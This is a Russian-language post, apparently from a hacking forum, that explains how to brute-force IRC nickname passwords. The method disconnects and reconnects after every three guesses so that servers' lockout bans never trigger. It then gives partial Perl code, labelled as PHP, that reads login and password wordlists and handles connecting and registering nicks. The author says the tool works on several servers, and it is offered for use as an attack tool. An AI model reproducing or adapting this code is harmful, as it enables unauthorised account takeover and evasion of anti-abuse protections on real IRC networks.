т.к. на большенстве серверов irc присутствует бан после 3х неверных вводов пароля, поетому
пробуем авторизироватса с логин1;пароль1
пробуем авторизироватса с логин2;пароль2
пробуем авторизироватса с логин3;пароль3
disconnect
goto пункт 1 (и так делаем, пока не переберем все ники и пароли)
проверял на нескольких серверах - работает
настройки:
PHP код:
my $server = 'сервер';
my $port = порт_сервера;
my $c = сколько_логинов_за_один_раз_подбирать;
my $freeze = 0.7;
my $rejoin = таймаут_при_пересоединении;
my $server = 'сервер'; # server
my $port = порт; # ip
my $c = 4; # brute2 one connect
my $freeze = 0.7; # change nick sleep
my $rejoin = 5; # rejoin sleep
#==-=-==================-==========================
# loading logins
open (FILE, '<logins.txt');
my @logins : shared = <FILE>;
chomp(@logins);
close(FILE);
# loading passwords
open (FILE, '<pass.txt');
my @pass : shared = <FILE>;
chomp(@pass);
close(FILE);
sub iRC_connect { # server, port
$irc = new IO::Socket::INET(
PeerAddr => $_[0],
PeerPort => $_[1],
Timeout => 1,
Proto => 'tcp') or
die(" [-] can't connect to server ".$server.':'.$port."\n");
print " > connect\n";
}
sub iRC_disconnect {
close($irc);
}
sub iRC_auth { # nick
my $result = 1;
print $irc "NICK $_[0]\r\n";
print $irc "USER $_[0] 8 * :$_[0]\r\n";
while (my $input = <$irc>) {
chop($input);
# print $input."====\n";
if ($input =~ /433/) {
print ' [-] nickname "'.$_[0].'" is already in use..';
$result = 0;
last;
}
elsif ($input =~ /^PING(.*)$/i) {
print $irc "PONG $1\r\n";
}
elsif ($input =~ /Reconnecting too fast/) {
print " - reconnecting too fast\n";
$result = 0;
last;
}
elsif ($input =~ /MODE\s.*:+/) {
last;
}
}
return $result;
}